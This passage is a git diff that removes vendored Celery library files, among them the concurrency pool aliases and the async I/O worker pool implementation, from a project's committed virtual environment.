Optional[abstract.CallableSignature] - """ - if d is not None: - if isinstance(d, abstract.CallableSignature): - if clone: - d = d.clone() - elif isinstance(d, dict): - d = signature(d) - - if app is not None: - d._app = app - return d - - -maybe_subtask = maybe_signature # XXX compat diff --git a/backend/venv/Lib/site-packages/celery/concurrency/__init__.py b/backend/venv/Lib/site-packages/celery/concurrency/__init__.py deleted file mode 100644 index 4953f463..00000000 --- a/backend/venv/Lib/site-packages/celery/concurrency/__init__.py +++ /dev/null @@ -1,48 +0,0 @@ -"""Pool implementation abstract factory, and alias definitions.""" -import os - -# Import from kombu directly as it's used -# early in the import stage, where celery.utils loads -# too much (e.g., for eventlet patching) -from kombu.utils.imports import symbol_by_name - -__all__ = ('get_implementation', 'get_available_pool_names',) - -ALIASES = { - 'prefork': 'celery.concurrency.prefork:TaskPool', - 'eventlet': 'celery.concurrency.eventlet:TaskPool', - 'gevent': 'celery.concurrency.gevent:TaskPool', - 'solo': 'celery.concurrency.solo:TaskPool', - 'processes': 'celery.concurrency.prefork:TaskPool', # XXX compat alias -} - -try: - import concurrent.futures # noqa -except ImportError: - pass -else: - ALIASES['threads'] = 'celery.concurrency.thread:TaskPool' -# -# Allow for an out-of-tree worker pool implementation. This is used as follows: -# -# - Set the environment variable CELERY_CUSTOM_WORKER_POOL to the name of -# an implementation of :class:`celery.concurrency.base.BasePool` in the -# standard Celery format of "package:class". -# - Select this pool using '--pool custom'. -# -try: - custom = os.environ.get('CELERY_CUSTOM_WORKER_POOL') -except KeyError: - pass -else: - ALIASES['custom'] = custom - - -def get_implementation(cls): - """Return pool implementation by name.""" - return symbol_by_name(cls, ALIASES) - - -def get_available_pool_names(): - """Return all available pool type names.""" - return tuple(ALIASES.keys()) diff --git a/backend/venv/Lib/site-packages/celery/concurrency/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/concurrency/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 4797f4f2..00000000 Binary files a/backend/venv/Lib/site-packages/celery/concurrency/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/concurrency/__pycache__/asynpool.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/concurrency/__pycache__/asynpool.cpython-311.pyc deleted file mode 100644 index c613ea3c..00000000 Binary files a/backend/venv/Lib/site-packages/celery/concurrency/__pycache__/asynpool.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/concurrency/__pycache__/base.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/concurrency/__pycache__/base.cpython-311.pyc deleted file mode 100644 index 59e3f873..00000000 Binary files a/backend/venv/Lib/site-packages/celery/concurrency/__pycache__/base.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/concurrency/__pycache__/eventlet.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/concurrency/__pycache__/eventlet.cpython-311.pyc deleted file mode 100644 index 1cb85fdf..00000000 Binary files a/backend/venv/Lib/site-packages/celery/concurrency/__pycache__/eventlet.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/concurrency/__pycache__/gevent.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/concurrency/__pycache__/gevent.cpython-311.pyc deleted file mode 100644 index f9b8624a..00000000 Binary files a/backend/venv/Lib/site-packages/celery/concurrency/__pycache__/gevent.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/concurrency/__pycache__/prefork.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/concurrency/__pycache__/prefork.cpython-311.pyc deleted file mode 100644 index 8b5a6488..00000000 Binary files a/backend/venv/Lib/site-packages/celery/concurrency/__pycache__/prefork.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/concurrency/__pycache__/solo.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/concurrency/__pycache__/solo.cpython-311.pyc deleted file mode 100644 index bbe3de35..00000000 Binary files a/backend/venv/Lib/site-packages/celery/concurrency/__pycache__/solo.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/concurrency/__pycache__/thread.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/concurrency/__pycache__/thread.cpython-311.pyc deleted file mode 100644 index d3a8df14..00000000 Binary files a/backend/venv/Lib/site-packages/celery/concurrency/__pycache__/thread.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/concurrency/asynpool.py b/backend/venv/Lib/site-packages/celery/concurrency/asynpool.py deleted file mode 100644 index dd2f068a..00000000 --- a/backend/venv/Lib/site-packages/celery/concurrency/asynpool.py +++ /dev/null @@ -1,1369 +0,0 @@ -"""Version of multiprocessing.Pool using Async I/O. - -.. note:: - - This module will be moved soon, so don't use it directly. - -This is a non-blocking version of :class:`multiprocessing.Pool`. - -This code deals with three major challenges: - -#. Starting up child processes and keeping them running. -#. Sending jobs to the processes and receiving results back. -#. Safely shutting down this system. -""" -import errno -import gc -import inspect -import os -import select -import time -from collections import Counter, deque, namedtuple -from io import BytesIO -from numbers import Integral -from pickle import HIGHEST_PROTOCOL -from struct import pack, unpack, unpack_from -from time import sleep -from weakref import WeakValueDictionary, ref - -from billiard import pool as _pool -from billiard.compat import isblocking, setblocking -from billiard.pool import ACK, NACK, RUN, TERMINATE, WorkersJoined -from billiard.queues import _SimpleQueue -from kombu.asynchronous import ERR, WRITE -from kombu.serialization import pickle as _pickle -from kombu.utils.eventio import SELECT_BAD_FD -from kombu.utils.functional import fxrange -from vine import promise - -from celery.signals import worker_before_create_process -from celery.utils.functional import noop -from celery.utils.log import get_logger -from celery.worker import state as worker_state - -# pylint: disable=redefined-outer-name -# We cache globals and attribute lookups, so disable this warning. - -try: - from _billiard import read as __read__ - readcanbuf = True - -except ImportError: - - def __read__(fd, buf, size, read=os.read): - chunk = read(fd, size) - n = len(chunk) - if n != 0: - buf.write(chunk) - return n - readcanbuf = False - - def unpack_from(fmt, iobuf, unpack=unpack): # noqa - return unpack(fmt, iobuf.getvalue()) # <-- BytesIO - -__all__ = ('AsynPool',) - -logger = get_logger(__name__) -error, debug = logger.error, logger.debug - -UNAVAIL = frozenset({errno.EAGAIN, errno.EINTR}) - -#: Constant sent by child process when started (ready to accept work) -WORKER_UP = 15 - -#: A process must've started before this timeout (in secs.) expires. -PROC_ALIVE_TIMEOUT = 4.0 - -SCHED_STRATEGY_FCFS = 1 -SCHED_STRATEGY_FAIR = 4 - -SCHED_STRATEGIES = { - None: SCHED_STRATEGY_FAIR, - 'default': SCHED_STRATEGY_FAIR, - 'fast': SCHED_STRATEGY_FCFS, - 'fcfs': SCHED_STRATEGY_FCFS, - 'fair': SCHED_STRATEGY_FAIR, -} -SCHED_STRATEGY_TO_NAME = {v: k for k, v in SCHED_STRATEGIES.items()} - -Ack = namedtuple('Ack', ('id', 'fd', 'payload')) - - -def gen_not_started(gen): - """Return true if generator is not started.""" - return inspect.getgeneratorstate(gen) == "GEN_CREATED" - - -def _get_job_writer(job): - try: - writer = job._writer - except AttributeError: - pass - else: - return writer() # is a weakref - - -def _ensure_integral_fd(fd): - return fd if isinstance(fd, Integral) else fd.fileno() - - -if hasattr(select, 'poll'): - def _select_imp(readers=None, writers=None, err=None, timeout=0, - poll=select.poll, POLLIN=select.POLLIN, - POLLOUT=select.POLLOUT, POLLERR=select.POLLERR): - poller = poll() - register = poller.register - fd_to_mask = {} - - if readers: - for fd in map(_ensure_integral_fd, readers): - fd_to_mask[fd] = fd_to_mask.get(fd, 0) | POLLIN - if writers: - for fd in map(_ensure_integral_fd, writers): - fd_to_mask[fd] = fd_to_mask.get(fd, 0) | POLLOUT - if err: - for fd in map(_ensure_integral_fd, err): - fd_to_mask[fd] = fd_to_mask.get(fd, 0) | POLLERR - - for fd, event_mask in fd_to_mask.items(): - register(fd, event_mask) - - R, W = set(), set() - timeout = 0 if timeout and timeout < 0 else round(timeout * 1e3) - events = poller.poll(timeout) - for fd, event in events: - if event & POLLIN: - R.add(fd) - if event & POLLOUT: - W.add(fd) - if event & POLLERR: - R.add(fd) - return R, W, 0 -else: - def _select_imp(readers=None, writers=None, err=None, timeout=0): - r, w, e = select.select(readers, writers, err, timeout) - if e: - r = list(set(r) | set(e)) - return r, w, 0 - - -def _select(readers=None, writers=None, err=None, timeout=0, - poll=_select_imp): - """Simple wrapper to :class:`~select.select`, using :`~select.poll`. - - Arguments: - readers (Set[Fd]): Set of reader fds to test if readable. - writers (Set[Fd]): Set of writer fds to test if writable. - err (Set[Fd]): Set of fds to test for error condition. - - All fd sets passed must be mutable as this function - will remove non-working fds from them, this also means - the caller must make sure there are still fds in the sets - before calling us again. - - Returns: - Tuple[Set, Set, Set]: of ``(readable, writable, again)``, where - ``readable`` is a set of fds that have data available for read, - ``writable`` is a set of fds that's ready to be written to - and ``again`` is a flag that if set means the caller must - throw away the result and call us again. - """ - readers = set() if readers is None else readers - writers = set() if writers is None else writers - err = set() if err is None else err - try: - return poll(readers, writers, err, timeout) - except OSError as exc: - _errno = exc.errno - - if _errno == errno.EINTR: - return set(), set(), 1 - elif _errno in SELECT_BAD_FD: - for fd in readers | writers | err: - try: - select.select([fd], [], [], 0) - except OSError as exc: - _errno = exc.errno - - if _errno not in SELECT_BAD_FD: - raise - readers.discard(fd) - writers.discard(fd) - err.discard(fd) - return set(), set(), 1 - else: - raise - - -def iterate_file_descriptors_safely(fds_iter, source_data, - hub_method, *args, **kwargs): - """Apply hub method to fds in iter, remove from list if failure. - - Some file descriptors may become stale through OS reasons - or possibly other reasons, so safely manage our lists of FDs. - :param fds_iter: the file descriptors to iterate and apply hub_method - :param source_data: data source to remove FD if it renders OSError - :param hub_method: the method to call with each fd and kwargs - :*args to pass through to the hub_method; - with a special syntax string '*fd*' represents a substitution - for the current fd object in the iteration (for some callers). - :**kwargs to pass through to the hub method (no substitutions needed) - """ - def _meta_fd_argument_maker(): - # uses the current iterations value for fd - call_args = args - if "*fd*" in call_args: - call_args = [fd if arg == "*fd*" else arg for arg in args] - return call_args - # Track stale FDs for cleanup possibility - stale_fds = [] - for fd in fds_iter: - # Handle using the correct arguments to the hub method - hub_args, hub_kwargs = _meta_fd_argument_maker(), kwargs - try: # Call the hub method - hub_method(fd, *hub_args, **hub_kwargs) - except (OSError, FileNotFoundError): - logger.warning( - "Encountered OSError when accessing fd %s ", - fd, exc_info=True) - stale_fds.append(fd) # take note of stale fd - # Remove now defunct fds from the managed list - if source_data: - for fd in stale_fds: - try: - if hasattr(source_data, 'remove'): - source_data.remove(fd) - else: # then not a list/set ... try dict - source_data.pop(fd, None) - except ValueError: - logger.warning("ValueError trying to invalidate %s from %s", - fd, source_data) - - -class Worker(_pool.Worker): - """Pool worker process.""" - - def on_loop_start(self, pid): - # our version sends a WORKER_UP message when the process is ready - # to accept work, this will tell the parent that the inqueue fd - # is writable. - self.outq.put((WORKER_UP, (pid,))) - - -class ResultHandler(_pool.ResultHandler): - """Handles messages from the pool processes.""" - - def __init__(self, *args, **kwargs): - self.fileno_to_outq = kwargs.pop('fileno_to_outq') - self.on_process_alive = kwargs.pop('on_process_alive') - super().__init__(*args, **kwargs) - # add our custom message handler - self.state_handlers[WORKER_UP] = self.on_process_alive - - def _recv_message(self, add_reader, fd, callback, - __read__=__read__, readcanbuf=readcanbuf, - BytesIO=BytesIO, unpack_from=unpack_from, - load=_pickle.load): - Hr = Br = 0 - if readcanbuf: - buf = bytearray(4) - bufv = memoryview(buf) - else: - buf = bufv = BytesIO() - # header - - while Hr < 4: - try: - n = __read__( - fd, bufv[Hr:] if readcanbuf else bufv, 4 - Hr, - ) - except OSError as exc: - if exc.errno not in UNAVAIL: - raise - yield - else: - if n == 0: - raise (OSError('End of file during message') if Hr - else EOFError()) - Hr += n - - body_size, = unpack_from('>i', bufv) - if readcanbuf: - buf = bytearray(body_size) - bufv = memoryview(buf) - else: - buf = bufv = BytesIO() - - while Br < body_size: - try: - n = __read__( - fd, bufv[Br:] if readcanbuf else bufv, body_size - Br, - ) - except OSError as exc: - if exc.errno not in UNAVAIL: - raise - yield - else: - if n == 0: - raise (OSError('End of file during message') if Br - else EOFError()) - Br += n - add_reader(fd, self.handle_event, fd) - if readcanbuf: - message = load(BytesIO(bufv)) - else: - bufv.seek(0) - message = load(bufv) - if message: - callback(message) - - def _make_process_result(self, hub): - """Coroutine reading messages from the pool processes.""" - fileno_to_outq = self.fileno_to_outq - on_state_change = self.on_state_change - add_reader = hub.add_reader - remove_reader = hub.remove_reader - recv_message = self._recv_message - - def on_result_readable(fileno): - try: - fileno_to_outq[fileno] - except KeyError: # process gone - return remove_reader(fileno) - it = recv_message(add_reader, fileno, on_state_change) - try: - next(it) - except StopIteration: - pass - except (OSError, EOFError): - remove_reader(fileno) - else: - add_reader(fileno, it) - return on_result_readable - - def register_with_event_loop(self, hub): - self.handle_event = self._make_process_result(hub) - - def handle_event(self, *args): - # pylint: disable=method-hidden - # register_with_event_loop overrides this - raise RuntimeError('Not registered with event loop') - - def on_stop_not_started(self): - # This is always used, since we do not start any threads. - cache = self.cache - check_timeouts = self.check_timeouts - fileno_to_outq = self.fileno_to_outq - on_state_change = self.on_state_change - join_exited_workers = self.join_exited_workers - - # flush the processes outqueues until they've all terminated. - outqueues = set(fileno_to_outq) - while cache and outqueues and self._state != TERMINATE: - if check_timeouts is not None: - # make sure tasks with a time limit will time out. - check_timeouts() - # cannot iterate and remove at the same time - pending_remove_fd = set() - for fd in outqueues: - iterate_file_descriptors_safely( - [fd], self.fileno_to_outq, self._flush_outqueue, - pending_remove_fd.add, fileno_to_outq, on_state_change - ) - try: - join_exited_workers(shutdown=True) - except WorkersJoined: - debug('result handler: all workers terminated') - return - outqueues.difference_update(pending_remove_fd) - - def _flush_outqueue(self, fd, remove, process_index, on_state_change): - try: - proc = process_index[fd] - except KeyError: - # process already found terminated - # this means its outqueue has already been processed - # by the worker lost handler. - return remove(fd) - - reader = proc.outq._reader - try: - setblocking(reader, 1) - except OSError: - return remove(fd) - try: - if reader.poll(0): - task = reader.recv() - else: - task = None - sleep(0.5) - except (OSError, EOFError): - return remove(fd) - else: - if task: - on_state_change(task) - finally: - try: - setblocking(reader, 0) - except OSError: - return remove(fd) - - -class AsynPool(_pool.Pool): - """AsyncIO Pool (no threads).""" - - ResultHandler = ResultHandler - Worker = Worker - - #: Set by :meth:`register_with_event_loop` after running the first time. - _registered_with_event_loop = False - - def WorkerProcess(self, worker): - worker = super().WorkerProcess(worker) - worker.dead = False - return worker - - def __init__(self, processes=None, synack=False, - sched_strategy=None, proc_alive_timeout=None, - *args, **kwargs): - self.sched_strategy = SCHED_STRATEGIES.get(sched_strategy, - sched_strategy) - processes = self.cpu_count() if processes is None else processes - self.synack = synack - # create queue-pairs for all our processes in advance. - self._queues = { - self.create_process_queues(): None for _ in range(processes) - } - - # inqueue fileno -> process mapping - self._fileno_to_inq = {} - # outqueue fileno -> process mapping - self._fileno_to_outq = {} - # synqueue fileno -> process mapping - self._fileno_to_synq = {} - - # We keep track of processes that haven't yet - # sent a WORKER_UP message. If a process fails to send - # this message within _proc_alive_timeout we terminate it - # and hope the next process will recover. - self._proc_alive_timeout = ( - PROC_ALIVE_TIMEOUT if proc_alive_timeout is None - else proc_alive_timeout - ) - self._waiting_to_start = set() - - # denormalized set of all inqueues. - self._all_inqueues = set() - - # Set of fds being written to (busy) - self._active_writes = set() - - # Set of active co-routines currently writing jobs. - self._active_writers = set() - - # Set of fds that are busy (executing task) - self._busy_workers = set() - self._mark_worker_as_available = self._busy_workers.discard - - # Holds jobs waiting to be written to child processes. - self.outbound_buffer = deque() - - self.write_stats = Counter() - - super().__init__(processes, *args, **kwargs) - - for proc in self._pool: - # create initial mappings, these will be updated - # as processes are recycled, or found lost elsewhere. - self._fileno_to_outq[proc.outqR_fd] = proc - self._fileno_to_synq[proc.synqW_fd] = proc - - self.on_soft_timeout = getattr( - self._timeout_handler, 'on_soft_timeout', noop, - ) - self.on_hard_timeout = getattr( - self._timeout_handler, 'on_hard_timeout', noop, - ) - - def _create_worker_process(self, i): - worker_before_create_process.send(sender=self) - gc.collect() # Issue #2927 - return super()._create_worker_process(i) - - def _event_process_exit(self, hub, proc): - # This method is called whenever the process sentinel is readable. - self._untrack_child_process(proc, hub) - self.maintain_pool() - - def _track_child_process(self, proc, hub): - """Helper method determines appropriate fd for process.""" - try: - fd = proc._sentinel_poll - except AttributeError: - # we need to duplicate the fd here to carefully - # control when the fd is removed from the process table, - # as once the original fd is closed we cannot unregister - # the fd from epoll(7) anymore, causing a 100% CPU poll loop. - fd = proc._sentinel_poll = os.dup(proc._popen.sentinel) - # Safely call hub.add_reader for the determined fd - iterate_file_descriptors_safely( - [fd], None, hub.add_reader, - self._event_process_exit, hub, proc) - - def _untrack_child_process(self, proc, hub): - if proc._sentinel_poll is not None: - fd, proc._sentinel_poll = proc._sentinel_poll, None - hub.remove(fd) - os.close(fd) - - def register_with_event_loop(self, hub): - """Register the async pool with the current event loop.""" - self._result_handler.register_with_event_loop(hub) - self.handle_result_event = self._result_handler.handle_event - self._create_timelimit_handlers(hub) - self._create_process_handlers(hub) - self._create_write_handlers(hub) - - # Add handler for when a process exits (calls maintain_pool) - [self._track_child_process(w, hub) for w in self._pool] - # Handle_result_event is called whenever one of the - # result queues are readable. - iterate_file_descriptors_safely( - self._fileno_to_outq, self._fileno_to_outq, hub.add_reader, - self.handle_result_event, '*fd*') - - # Timers include calling maintain_pool at a regular interval - # to be certain processes are restarted. - for handler, interval in self.timers.items(): - hub.call_repeatedly(interval, handler) - - # Add on_poll_start to the event loop only once to prevent duplication - # when the Consumer restarts due to a connection error. - if not self._registered_with_event_loop: - hub.on_tick.add(self.on_poll_start) - self._registered_with_event_loop = True - - def _create_timelimit_handlers(self, hub): - """Create handlers used to implement time limits.""" - call_later = hub.call_later - trefs = self._tref_for_id = WeakValueDictionary() - - def on_timeout_set(R, soft, hard): - if soft: - trefs[R._job] = call_later( - soft, self._on_soft_timeout, R._job, soft, hard, hub, - ) - elif hard: - trefs[R._job] = call_later( - hard, self._on_hard_timeout, R._job, - ) - self.on_timeout_set = on_timeout_set - - def _discard_tref(job): - try: - tref = trefs.pop(job) - tref.cancel() - del tref - except (KeyError, AttributeError): - pass # out of scope - self._discard_tref = _discard_tref - - def on_timeout_cancel(R): - _discard_tref(R._job) - self.on_timeout_cancel = on_timeout_cancel - - def _on_soft_timeout(self, job, soft, hard, hub): - # only used by async pool. - if hard: - self._tref_for_id[job] = hub.call_later( - hard - soft, self._on_hard_timeout, job, - ) - try: - result = self._cache[job] - except KeyError: - pass # job ready - else: - self.on_soft_timeout(result) - finally: - if not hard: - # remove tref - self._discard_tref(job) - - def _on_hard_timeout(self, job): - # only used by async pool. - try: - result = self._cache[job] - except KeyError: - pass # job ready - else: - self.on_hard_timeout(result) - finally: - # remove tref - self._discard_tref(job) - - def on_job_ready(self, job, i, obj, inqW_fd): - self._mark_worker_as_available(inqW_fd) - - def _create_process_handlers(self, hub): - """Create handlers called on process up/down, etc.""" - add_reader, remove_reader, remove_writer = ( - hub.add_reader, hub.remove_reader, hub.remove_writer, - ) - cache = self._cache - all_inqueues = self._all_inqueues - fileno_to_inq = self._fileno_to_inq - fileno_to_outq = self._fileno_to_outq - fileno_to_synq = self._fileno_to_synq - busy_workers = self._busy_workers - handle_result_event = self.handle_result_event - process_flush_queues = self.process_flush_queues - waiting_to_start = self._waiting_to_start - - def verify_process_alive(proc): - proc = proc() # is a weakref - if (proc is not None and proc._is_alive() and - proc in waiting_to_start): - assert proc.outqR_fd in fileno_to_outq - assert fileno_to_outq[proc.outqR_fd] is proc - assert proc.outqR_fd in hub.readers - error('Timed out waiting for UP message from %r', proc) - os.kill(proc.pid, 9) - - def on_process_up(proc): - """Called when a process has started.""" - # If we got the same fd as a previous process then we'll also - # receive jobs in the old buffer, so we need to reset the - # job._write_to and job._scheduled_for attributes used to recover - # message boundaries when processes exit. - infd = proc.inqW_fd - for job in cache.values(): - if job._write_to and job._write_to.inqW_fd == infd: - job._write_to = proc - if job._scheduled_for and job._scheduled_for.inqW_fd == infd: - job._scheduled_for = proc - fileno_to_outq[proc.outqR_fd] = proc - - # maintain_pool is called whenever a process exits. - self._track_child_process(proc, hub) - - assert not isblocking(proc.outq._reader) - - # handle_result_event is called when the processes outqueue is - # readable. - add_reader(proc.outqR_fd, handle_result_event, proc.outqR_fd) - - waiting_to_start.add(proc) - hub.call_later( - self._proc_alive_timeout, verify_process_alive, ref(proc), - ) - - self.on_process_up = on_process_up - - def _remove_from_index(obj, proc, index, remove_fun, callback=None): - # this remove the file descriptors for a process from - # the indices. we have to make sure we don't overwrite - # another processes fds, as the fds may be reused. - try: - fd = obj.fileno() - except OSError: - return - - try: - if index[fd] is proc: - # fd hasn't been reused so we can remove it from index. - index.pop(fd, None) - except KeyError: - pass - else: - remove_fun(fd) - if callback is not None: - callback(fd) - return fd - - def on_process_down(proc): - """Called when a worker process exits.""" - if getattr(proc, 'dead', None): - return - process_flush_queues(proc) - _remove_from_index( - proc.outq._reader, proc, fileno_to_outq, remove_reader, - ) - if proc.synq: - _remove_from_index( - proc.synq._writer, proc, fileno_to_synq, remove_writer, - ) - inq = _remove_from_index( - proc.inq._writer, proc, fileno_to_inq, remove_writer, - callback=all_inqueues.discard, - ) - if inq: - busy_workers.discard(inq) - self._untrack_child_process(proc, hub) - waiting_to_start.discard(proc) - self._active_writes.discard(proc.inqW_fd) - remove_writer(proc.inq._writer) - remove_reader(proc.outq._reader) - if proc.synqR_fd: - remove_reader(proc.synq._reader) - if proc.synqW_fd: - self._active_writes.discard(proc.synqW_fd) - remove_reader(proc.synq._writer) - self.on_process_down = on_process_down - - def _create_write_handlers(self, hub, - pack=pack, dumps=_pickle.dumps, - protocol=HIGHEST_PROTOCOL): - """Create handlers used to write data to child processes.""" - fileno_to_inq = self._fileno_to_inq - fileno_to_synq = self._fileno_to_synq - outbound = self.outbound_buffer - pop_message = outbound.popleft - put_message = outbound.append - all_inqueues = self._all_inqueues - active_writes = self._active_writes - active_writers = self._active_writers - busy_workers = self._busy_workers - diff = all_inqueues.difference - add_writer = hub.add_writer - hub_add, hub_remove = hub.add, hub.remove - mark_write_fd_as_active = active_writes.add - mark_write_gen_as_active = active_writers.add - mark_worker_as_busy = busy_workers.add - write_generator_done = active_writers.discard - get_job = self._cache.__getitem__ - write_stats = self.write_stats - is_fair_strategy = self.sched_strategy == SCHED_STRATEGY_FAIR - revoked_tasks = worker_state.revoked - getpid = os.getpid - - precalc = {ACK: self._create_payload(ACK, (0,)), - NACK: self._create_payload(NACK, (0,))} - - def _put_back(job, _time=time.time): - # puts back at the end of the queue - if job._terminated is not None or \ - job.correlation_id in revoked_tasks: - if not job._accepted: - job._ack(None, _time(), getpid(), None) - job._set_terminated(job._terminated) - else: - # XXX linear lookup, should find a better way, - # but this happens rarely and is here to protect against races. - if job not in outbound: - outbound.appendleft(job) - self._put_back = _put_back - - # called for every event loop iteration, and if there - # are messages pending this will schedule writing one message - # by registering the 'schedule_writes' function for all currently - # inactive inqueues (not already being written to) - - # consolidate means the event loop will merge them - # and call the callback once with the list writable fds as - # argument. Using this means we minimize the risk of having - # the same fd receive every task if the pipe read buffer is not - # full. - - def on_poll_start(): - # Determine which io descriptors are not busy - inactive = diff(active_writes) - - # Determine hub_add vs hub_remove strategy conditional - if is_fair_strategy: - # outbound buffer present and idle workers exist - add_cond = outbound and len(busy_workers) < len(all_inqueues) - else: # default is add when data exists in outbound buffer - add_cond = outbound - - if add_cond: # calling hub_add vs hub_remove - iterate_file_descriptors_safely( - inactive, all_inqueues, hub_add, - None, WRITE | ERR, consolidate=True) - else: - iterate_file_descriptors_safely( - inactive, all_inqueues, hub.remove_writer) - self.on_poll_start = on_poll_start - - def on_inqueue_close(fd, proc): - # Makes sure the fd is removed from tracking when - # the connection is closed, this is essential as fds may be reused. - busy_workers.discard(fd) - try: - if fileno_to_inq[fd] is proc: - fileno_to_inq.pop(fd, None) - active_writes.discard(fd) - all_inqueues.discard(fd) - except KeyError: - pass - self.on_inqueue_close = on_inqueue_close - self.hub_remove = hub_remove - - def schedule_writes(ready_fds, total_write_count=None): - if not total_write_count: - total_write_count = [0] - # Schedule write operation to ready file descriptor. - # The file descriptor is writable, but that does not - # mean the process is currently reading from the socket. - # The socket is buffered so writable simply means that - # the buffer can accept at least 1 byte of data. - - # This means we have to cycle between the ready fds. - # the first version used shuffle, but this version - # using `total_writes % ready_fds` is about 30% faster - # with many processes, and also leans more towards fairness - # in write stats when used with many processes - # [XXX On macOS, this may vary depending - # on event loop implementation (i.e, select/poll vs epoll), so - # have to test further] - num_ready = len(ready_fds) - - for _ in range(num_ready): - ready_fd = ready_fds[total_write_count[0] % num_ready] - total_write_count[0] += 1 - if ready_fd in active_writes: - # already writing to this fd - continue - if is_fair_strategy and ready_fd in busy_workers: - # worker is already busy with another task - continue - if ready_fd not in all_inqueues: - hub.remove_writer(ready_fd) - continue - try: - job = pop_message() - except IndexError: - # no more messages, remove all inactive fds from the hub. - # this is important since the fds are always writable - # as long as there's 1 byte left in the buffer, and so - # this may create a spinloop where the event loop - # always wakes up. - for inqfd in diff(active_writes): - hub.remove_writer(inqfd) - break - - else: - if not job._accepted: # job not accepted by another worker - try: - # keep track of what process the write operation - # was scheduled for. - proc = job._scheduled_for = fileno_to_inq[ready_fd] - except KeyError: - # write was scheduled for this fd but the process - # has since exited and the message must be sent to - # another process. - put_message(job) - continue - cor = _write_job(proc, ready_fd, job) - job._writer = ref(cor) - mark_write_gen_as_active(cor) - mark_write_fd_as_active(ready_fd) - mark_worker_as_busy(ready_fd) - - # Try to write immediately, in case there's an error. - try: - next(cor) - except StopIteration: - pass - except OSError as exc: - if exc.errno != errno.EBADF: - raise - else: - add_writer(ready_fd, cor) - hub.consolidate_callback = schedule_writes - - def send_job(tup): - # Schedule writing job request for when one of the process - # inqueues are writable. - body = dumps(tup, protocol=protocol) - body_size = len(body) - header = pack('>I', body_size) - # index 1,0 is the job ID. - job = get_job(tup[1][0]) - job._payload = memoryview(header), memoryview(body), body_size - put_message(job) - self._quick_put = send_job - - def on_not_recovering(proc, fd, job, exc): - logger.exception( - 'Process inqueue damaged: %r %r: %r', proc, proc.exitcode, exc) - if proc._is_alive(): - proc.terminate() - hub.remove(fd) - self._put_back(job) - - def _write_job(proc, fd, job): - # writes job to the worker process. - # Operation must complete if more than one byte of data - # was written. If the broker connection is lost - # and no data was written the operation shall be canceled. - header, body, body_size = job._payload - errors = 0 - try: - # job result keeps track of what process the job is sent to. - job._write_to = proc - send = proc.send_job_offset - - Hw = Bw = 0 - # write header - while Hw < 4: - try: - Hw += send(header, Hw) - except Exception as exc: # pylint: disable=broad-except - if getattr(exc, 'errno', None) not in UNAVAIL: - raise - # suspend until more data - errors += 1 - if errors > 100: - on_not_recovering(proc, fd, job, exc) - raise StopIteration() - yield - else: - errors = 0 - - # write body - while Bw < body_size: - try: - Bw += send(body, Bw) - except Exception as exc: # pylint: disable=broad-except - if getattr(exc, 'errno', None) not in UNAVAIL: - raise - # suspend until more data - errors += 1 - if errors > 100: - on_not_recovering(proc, fd, job, exc) - raise StopIteration() - yield - else: - errors = 0 - finally: - hub.remove_writer(fd) - write_stats[proc.index] += 1 - # message written, so this fd is now available - active_writes.discard(fd) - write_generator_done(job._writer()) # is a weakref - - def send_ack(response, pid, job, fd): - # Only used when synack is enabled. - # Schedule writing ack response for when the fd is writable. - msg = Ack(job, fd, precalc[response]) - callback = promise(write_generator_done) - cor = _write_ack(fd, msg, callback=callback) - mark_write_gen_as_active(cor) - mark_write_fd_as_active(fd) - callback.args = (cor,) - add_writer(fd, cor) - self.send_ack = send_ack - - def _write_ack(fd, ack, callback=None): - # writes ack back to the worker if synack enabled. - # this operation *MUST* complete, otherwise - # the worker process will hang waiting for the ack. - header, body, body_size = ack[2] - try: - try: - proc = fileno_to_synq[fd] - except KeyError: - # process died, we can safely discard the ack at this - # point. - raise StopIteration() - send = proc.send_syn_offset - - Hw = Bw = 0 - # write header - while Hw < 4: - try: - Hw += send(header, Hw) - except Exception as exc: # pylint: disable=broad-except - if getattr(exc, 'errno', None) not in UNAVAIL: - raise - yield - - # write body - while Bw < body_size: - try: - Bw += send(body, Bw) - except Exception as exc: # pylint: disable=broad-except - if getattr(exc, 'errno', None) not in UNAVAIL: - raise - # suspend until more data - yield - finally: - if callback: - callback() - # message written, so this fd is now available - active_writes.discard(fd) - - def flush(self): - if self._state == TERMINATE: - return - # cancel all tasks that haven't been accepted so that NACK is sent - # if synack is enabled. - if self.synack: - for job in self._cache.values(): - if not job._accepted: - job._cancel() - - # clear the outgoing buffer as the tasks will be redelivered by - # the broker anyway. - if self.outbound_buffer: - self.outbound_buffer.clear() - - self.maintain_pool() - - try: - # ...but we must continue writing the payloads we already started - # to keep message boundaries. - # The messages may be NACK'ed later if synack is enabled. - if self._state == RUN: - # flush outgoing buffers - intervals = fxrange(0.01, 0.1, 0.01, repeatlast=True) - - # TODO: Rewrite this as a dictionary comprehension once we drop support for Python 3.7 - # This dict comprehension requires the walrus operator which is only available in 3.8. - owned_by = {} - for job in self._cache.values(): - writer = _get_job_writer(job) - if writer is not None: - owned_by[writer] = job - - if not self._active_writers: - self._cache.clear() - else: - while self._active_writers: - writers = list(self._active_writers) - for gen in writers: - if (gen.__name__ == '_write_job' and - gen_not_started(gen)): - # hasn't started writing the job so can - # discard the task, but we must also remove - # it from the Pool._cache. - try: - job = owned_by[gen] - except KeyError: - pass - else: - # removes from Pool._cache - job.discard() - self._active_writers.discard(gen) - else: - try: - job = owned_by[gen] - except KeyError: - pass - else: - job_proc = job._write_to - if job_proc._is_alive(): - 